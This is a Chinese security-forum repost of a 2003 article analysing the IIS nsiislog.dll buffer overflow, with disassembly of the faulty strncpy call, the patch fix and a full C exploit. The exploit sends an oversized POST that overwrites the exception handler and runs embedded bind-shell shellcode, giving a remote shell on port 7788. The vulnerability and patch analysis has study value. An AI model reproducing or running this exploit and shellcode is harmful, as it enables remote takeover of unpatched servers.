论坛: 菜鸟乐园 标题: IIS的NSIISLOG.DLL溢出问题分析(转) 复制本贴地址    
作者: checkpoint [checkpoint]    论坛用户   登录
IIS的NSIISLOG.DLL溢出问题分析

创建时间:2003-07-02
文章属性:原创
文章提交:flashsky (flashsky1_at_sina.com)

转摘请注明作者和安全焦点
作者:FLASHSKY
SITE:WWW.XFOCUS.NET,WWW.SHOPSKY.COM
邮件:flashsky@xfocus.org
作者单位:启明星辰积极防御实验室

实行积分制了,写点垃圾文章赚点子啊,大家别拿鸡蛋砸我。
溢出漏洞原因分析:

导致溢出的代码就在NSIISLOG.DLL中,如下
.text:40F01B08                mov    ecx, esi
.text:40F01B0A                call    dword ptr [eax+8]
.text:40F01B0D                push    eax            <----------------计算的POST数据长度
.text:40F01B0E                mov    ecx, ebx
.text:40F01B10                push    [ebp+arg_4]        <----------------POST数据的BUFFER
.text:40F01B13                call    sub_40F01EEE
#########################################################################################################
sub_40F01EEE函数内容:
.text:40F01EEE                push    ebp
.text:40F01EEF                mov    ebp, esp
.text:40F01EF1                mov    eax, 1104h
.text:40F01EF6                call    sub_40F02B80            〈-----------------分配缓冲区,按含ESP-0X1104的调用
.text:40F01EFB                push    ebx
.text:40F01EFC                push    esi
.text:40F01EFD                mov    ebx, [ebp+arg_4]
.text:40F01F00                push    edi                    〈-------------------导致溢出的参数,本来应该是被溢出的缓冲区的长度
.text:40F01F01                mov    edi, [ebp+arg_8]                            这里却传成了POST数据的长度
.text:40F01F04                or      ecx, 0FFFFFFFFh
.text:40F01F07                xor    eax, eax
.text:40F01F09                push    ebx
.text:40F01F0A                repne scasb
.text:40F01F0C                push    [ebp+arg_0]          〈----------------------我们POST的数据
.text:40F01F0F                lea    eax, [ebp+var_1104]
.text:40F01F15                not    ecx
.text:40F01F17                dec    ecx
.text:40F01F18                push    eax                  〈------------------------被溢出的缓冲区
.text:40F01F19                mov    [ebp+var_4], ecx
.text:40F01F1C                call    ds:strncpy            〈-----------------------导致溢出的调用
##############################################################################################################
溢出原因:
strncpy这个调用本来是安全函数调用的,原形是:
strncpy(BUF1,BUF2,BUF1MAXLEN)
但是在这个调用中,调用者误使这个函数的调用成如下方式了:
strncpy(BUF1,BUF2,BUF2MAXLEN),这样第三个参数本来应该是BUF1MAXLEN来限制可能导致溢出的调用就成了无用的摆设。
我们可以计算出返回地址的覆盖点是:
    0X1104+4(EBP占用的地址)=0x1108,那么需要0X110C个字节,注意POST的数据在覆盖中不能存在0x0,否则strncpy会自动用0添满后面的数据。

溢出攻击实现:
    但是在函数返回以前我们发现会引发函数的异常(主要是后面的strspn调用中),那么我们就得想法覆盖异常结构。(当然如果你可以精巧设计你自己覆盖的内容不导致异常也是可以的,不过这样太麻烦了),nsiislog.dll自己并没有异常处理程序,那么需要我们覆盖默认的异常结构处理地址,我们可以通过累加所有调用堆栈的大小计算得出此地址距离我们溢出缓冲区的距离是0X2708。
    另外需要考虑的问题就是在触发异常之前,如果应用程序对我们的SHELLCODE进行了操作则会导致一些问题,那么我们最好使得在STRNCPY中就出发缓冲。(这个溢出中,会转换EBP之前的一些数据的大小写,也会截断添加一条消息。当然我们也可以精巧设置SHELLCODE的位置,不过返回地址不是很好设置)。
那么我们需要比0X270C更长的地址导致地址访问违反例,这个长度是和当前缓冲大小相关的(到下一个地址段,如0X8CXXXX-〉0X8D0000就会引发异常):
考虑这个问题,我们的缓冲放置0x10000以上长度的数据(当然一般25000左右就基本能导致在STRNCPY里的异常了),就能绝对保证在strncpy中引发异常了。
下面我们就要寻找一个CALL EBX或JMP EBX的地址了(因为是覆盖异常结构),这个地址其实在NSIISLOG.DLL中就有很多,这样就能避免很多版本要求的问题。
这里再给大家分析一下为什么溢出异常结构之后要找CALL(JMP)EBX的原理
首先异常结构链结构如下
DWORD PNEXT      下一个异常结构地址指针
DWORD FUNADDR    当前处理函数入口地址

在KiUserExceptionDispatcher中的处理是如下方式的:
77f8e4ca ff7304          push  dword ptr [ebx+0x4] ds:0023:008cf764=40f0135c  <-------------EBX+4就是当前异常处理函数调用地址,EBX就是异常结构地址,由于可能要处理下一个异常链,所以EBX就保存了下来未做修改,这样在我们覆盖了EBX+4的异常处理函数调用地址后找到CALL(JMP)EBX就可以到达我们可以控制的一个内存区域。
77f8e4cd 8d45f0          lea    eax,[ebp-0x10]
77f8e4d0 50              push    eax
77f8e4d1 ff750c          push    dword ptr [ebp+0xc]
77f8e4d4 53              push    ebx
77f8e4d5 56              push    esi
77f8e4d6 e83affffff      call    ntdll!RtlSetBits+0x305 (77f8e415)

###############################################################################
77f8e42f ff7514          push    dword ptr [ebp+0x14]
77f8e432 ff7510          push    dword ptr [ebp+0x10]
77f8e435 ff750c          push    dword ptr [ebp+0xc]
77f8e438 ff7508          push    dword ptr [ebp+0x8]
77f8e43b 8b4d18          mov    ecx,[ebp+0x18]                          <-------------这里就是溢出的异常结构地址
77f8e43e ffd1            call    ecx {nsiislog+0x135c (40f0135c)}
###############################################################################

这里需要注意的是:找到的返回地址是在[ebx+4]上,而调用CALL EBX也要把这个地址内存的内容当指令执行,所以EBX(异常结构前)的地址的内容应该是跳过
EBX+4(被覆盖的异常结构地址)的,下面就是一个EXP代码,使用了ISNO的SHELLCODE(我拿到的这个SHELLCODE有点小毛病,使得只能连上无法执行指令,已修改),执行以后TELNET IP 7788
###############################################################################
#include <stdio.h>
#include <winsock2.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>


char        *hostName = NULL;
unsigned char shellcode[]=
        "\x90\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90"
        "\x90\x8b\xc5\x33\xc9\x66\xb9\x10\x03\x50\x80\x30\x97\x40\xe2\xfa"
        "\x7e\x8e\x95\x97\x97\xcd\x1c\x4d\x14\x7c\x90\xfd\x68\xc4\xf3\x36"
        "\x97\x97\x97\x97\xc7\xf3\x1e\xb2\x97\x97\x97\x97\xa4\x4c\x2c\x97"
        "\x97\x77\xe0\x7f\x4b\x96\x97\x97\x16\x6c\x97\x97\x68\x28\x98\x14"
        "\x59\x96\x97\x97\x16\x54\x97\x97\x96\x97\xf1\x16\xac\xda\xcd\xe2"
        "\x70\xa4\x57\x1c\xd4\xab\x94\x54\xf1\x16\xaf\xc7\xd2\xe2\x4e\x14"
        "\x57\xef\x1c\xa7\x94\x64\x1c\xd9\x9b\x94\x5c\x16\xae\xdc\xd2\xc5"
        "\xd9\xe2\x52\x16\xee\x93\xd2\xdb\xa4\xa5\xe2\x2b\xa4\x68\x1c\xd1"
        "\xb7\x94\x54\x1c\x5c\x94\x9f\x16\xae\xd0\xf2\xe3\xc7\xe2\x9e\x16"
        "\xee\x93\xe5\xf8\xf4\xd6\xe3\x91\xd0\x14\x57\x93\x7c\x72\x94\x68"
        "\x94\x6c\x1c\xc1\xb3\x94\x6d\xa4\x45\xf1\x1c\x80\x1c\x6d\x1c\xd1"
        "\x87\xdf\x94\x6f\xa4\x5e\x1c\x58\x94\x5e\x94\x5e\x94\xd9\x8b\x94"
        "\x5c\x1c\xae\x94\x6c\x7e\xfe\x96\x97\x97\xc9\x10\x60\x1c\x40\xa4"
        "\x57\x60\x47\x1c\x5f\x65\x38\x1e\xa5\x1a\xd5\x9f\xc5\xc7\xc4\x68"
        "\x85\xcd\x1e\xd5\x93\x1a\xe5\x82\xc5\xc1\x68\xc5\x93\xcd\xa4\x57"
        "\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x13\x5e\xe3\x9e\xc5\xc1\xc4"
        "\x68\x85\xcd\x3c\x75\x7f\xd1\xc5\xc1\x68\xc5\x93\xcd\x1c\x4f\xa4"
        "\x57\x3b\x13\x57\xe2\x6e\xa4\x5e\x1d\x99\x17\x6e\x95\xe3\x9e\xc5"
        "\xc1\xc4\x68\x85\xcd\x3c\x75\x70\xa4\x57\xc7\xd7\xc7\xd7\xc7\x68"
        "\xc0\x7f\x04\xfd\x87\xc1\xc4\x68\xc0\x7b\xfd\x95\xc4\x68\xc0\x67"
        "\xa4\x57\xc0\xc7\x27\x9b\x3c\xcf\x3c\xd7\x3c\xc8\xdf\xc7\xc0\xc1"
        "\x3a\xc1\x68\xc0\x57\xdf\xc7\xc0\x3a\xc1\x3a\xc1\x68\xc0\x57\xdf"
        "\x27\xd3\x1e\x90\xc0\x68\xc0\x53\xa4\x57\x1c\xd1\x63\x1e\xd0\xab"
        "\x1e\xd0\xd7\x1c\x91\x1e\xd0\xaf\xa4\x57\xf1\x2f\x96\x96\x1e\xd0"
        "\xbb\xc0\xc0\xa4\x57\xc7\xc7\xc7\xd7\xc7\xdf\xc7\xc7\x3a\xc1\xa4"
        "\x57\xc7\x68\xc0\x5f\x68\xe1\x67\x68\xc0\x5b\x68\xe1\x6b\x68\xc0"
        "\x5b\xdf\xc7\xc7\xc4\x68\xc0\x63\x1c\x4f\xa4\x57\x23\x93\xc7\x56"
        "\x7f\x93\xc7\x68\xc0\x43\x1c\x67\xa4\x57\x1c\x5f\x22\x93\xc7\xc7"
        "\xc0\xc6\xc1\x68\xe0\x3f\x68\xc0\x47\x14\xa8\x96\xeb\xb5\xa4\x57"
        "\xc7\xc0\x68\xa0\xc1\x68\xe0\x3f\x68\xc0\x4b\x9c\x57\xe3\xb8\xa4"
        "\x57\xc7\x68\xa0\xc1\xc4\x68\xc0\x6f\xfd\xc7\x68\xc0\x77\x7c\x5f"

    //这里修改了一下错误的SHELLCODE,原来的是  \xc0\x6b\xa4\x5e\xc6\xc7,
    //把WRITEFILE的最后2个参数传反了,导致写入管道失败,这样就无法传入命令
    // 原来的:  PUSH EDI(是一个地址)      修改后:  XOR ECX ECX
    //          XOR ECX ECX                          PUSH ECX
    //          PUSH ECX                              PUSH EDI
    //          PUSH EAX (收到的缓冲字节数)        PUSH EAX
    //          PUSH ESI (缓冲指针)                PUSH ESI
    //          PUSH [EDX-54]                        PUSH [EDX-54]
    //          CALL WRITEFILE                        CALL WRITEFILE
    //          会导致写入管道失败                   

    "\xa4\x57\xc7\x23\x93\xc7\xc1\xc4\x68\xc0\x6b\xa4\x5e\xc6\xc0\xc7"
        "\xc1\x68\xe0\x3b\x68\xc0\x4f\xfd\xc7\x68\xc0\x77\x7c\x3d\xc7\x68"
        "\xc0\x73\x7c\x69\xcf\xc7\x1e\xd5\x65\x54\x1c\xd3\xb3\x9b\x92\x2f"
        "\x97\x97\x97\x50\x97\xef\xc1\xa3\x85\xa4\x57\x54\x7c\x7b\x7f\x75"
        "\x6a\x68\x68\x7f\x05\x69\x68\x68\xdc\xc1\x70\xe0\xb4\x17\x70\xe0"
        "\xdb\xf8\xf6\xf3\xdb\xfe\xf5\xe5\xf6\xe5\xee\xd6\x97\xdc\xd2\xc5"
        "\xd9\xd2\xdb\xa4\xa5\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xfe\xe7\xf2"
        "\x97\xd0\xf2\xe3\xc4\xe3\xf6\xe5\xe3\xe2\xe7\xde\xf9\xf1\xf8\xd6"
        "\x97\xd4\xe5\xf2\xf6\xe3\xf2\xc7\xe5\xf8\xf4\xf2\xe4\xe4\xd6\x97"
        "\xd4\xfb\xf8\xe4\xf2\xdf\xf6\xf9\xf3\xfb\xf2\x97\xc7\xf2\xf2\xfc"
        "\xd9\xf6\xfa\xf2\xf3\xc7\xfe\xe7\xf2\x97\xd0\xfb\xf8\xf5\xf6\xfb"
        "\xd6\xfb\xfb\xf8\xf4\x97\xc0\xe5\xfe\xe3\xf2\xd1\xfe\xfb\xf2\x97"
        "\xc5\xf2\xf6\xf3\xd1\xfe\xfb\xf2\x97\xc4\xfb\xf2\xf2\xe7\x97\xd2"
        "\xef\xfe\xe3\xc7\xe5\xf8\xf4\xf2\xe4\xe4\x97\x97\xc0\xc4\xd8\xd4"
        "\xdc\xa4\xa5\x97\xe4\xf8\xf4\xfc\xf2\xe3\x97\xf5\xfe\xf9\xf3\x97"
        "\xfb\xfe\xe4\xe3\xf2\xf9\x97\xf6\xf4\xf4\xf2\xe7\xe3\x97\xe4\xf2"
        "\xf9\xf3\x97\xe5\xf2\xf4\xe1\x97\x95\x97\x89\xfb\x97\x97\x97\x97"
        "\x97\x97\x97\x97\x97\x97\x97\x97\xf4\xfa\xf3\xb9\xf2\xef\xf2\x97"
        "\x68\x68\x68\x68";
       
void main (int argc, char **argv)
{
    WSADATA WSAData;
    SOCKET s;
    SOCKADDR_IN addr_in;
    unsigned char buf[1000];
    unsigned char testbuf[0x10000];
    int len;
    char t1[]="POST /scripts/nsiislog.dll HTTP/1.1\r\nHost: 192.168.10.210\r\nContent-length: 65536\r\n\r\n";//4364

    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }


    hostName = argv[1];

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(80);
    addr_in.sin_addr.S_un.S_addr=inet_addr(hostName);
   
    memset(testbuf,0,0x10000);
   
    if ((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
    if(WSAConnect(s,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
    {
        printf("Connect failed.Error:%d",WSAGetLastError());
        return;
    }
    len=sizeof(t1)-1;
    memcpy(testbuf,t1,len);
    send(s,testbuf,len,0);
    recv(s,buf,1000,0);
    memset(testbuf,'A',65536);//4364
    len=65536;//4364;
    *(DWORD *)(testbuf+0x2704)=0x04eb06eb;//jmp过覆盖的异常地址
    *(DWORD *)(testbuf+0x2708)=0x40F0135c;//覆盖异常结构的值
    memcpy(testbuf+0x270c,shellcode,sizeof(shellcode));
    send(s,testbuf,len,0);     
    closesocket (s);
    WSACleanup();
    return;
}

########################################################################################################################

补丁机理:
WindowsMedia41-KB822343-x86-CHS.exe补丁补掉了这个漏洞,如下:

.text:40F01FCA                mov    eax, 1100h
.text:40F01FCF                call    sub_40F02D30
.text:40F01FD4                push    ebx
.text:40F01FD5                push    esi
.text:40F01FD6                push    edi
.text:40F01FD7                mov    edi, [ebp+arg_8]
.text:40F01FDA                or      ecx, 0FFFFFFFFh
.text:40F01FDD                xor    eax, eax
.text:40F01FDF                repne scasb
.text:40F01FE1                mov    esi, [ebp+arg_4]
.text:40F01FE4                mov    eax, 0FFFh  〈-----------------------强制EAX=0XFFF(小于分配的空间0X1100);
.text:40F01FE9                not    ecx
.text:40F01FEB                dec    ecx
.text:40F01FEC                cmp    esi, eax    〈------------------------比较是否超过
.text:40F01FEE                mov    ebx, ecx
.text:40F01FF0                jbe    short loc_40F01FF4
.text:40F01FF2                mov    esi, eax      〈----------------------STRNCPY的第三个参数不会超过0XFFF,这样就不会溢出
.text:40F01FF4
.text:40F01FF4 loc_40F01FF4:                          ; CODE XREF: sub_40F01FC7+29j
.text:40F01FF4                push    esi
.text:40F01FF5                lea    eax, [ebp+var_1100]
.text:40F01FFB                push    [ebp+arg_0]
.text:40F01FFE                push    eax
.text:40F01FFF                call    ds:strncpy

地主 发表时间: 10/15 08:56

回复: bird [huoniao]   论坛用户   登录
谢谢发表

B1层 发表时间: 10/20 03:46

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号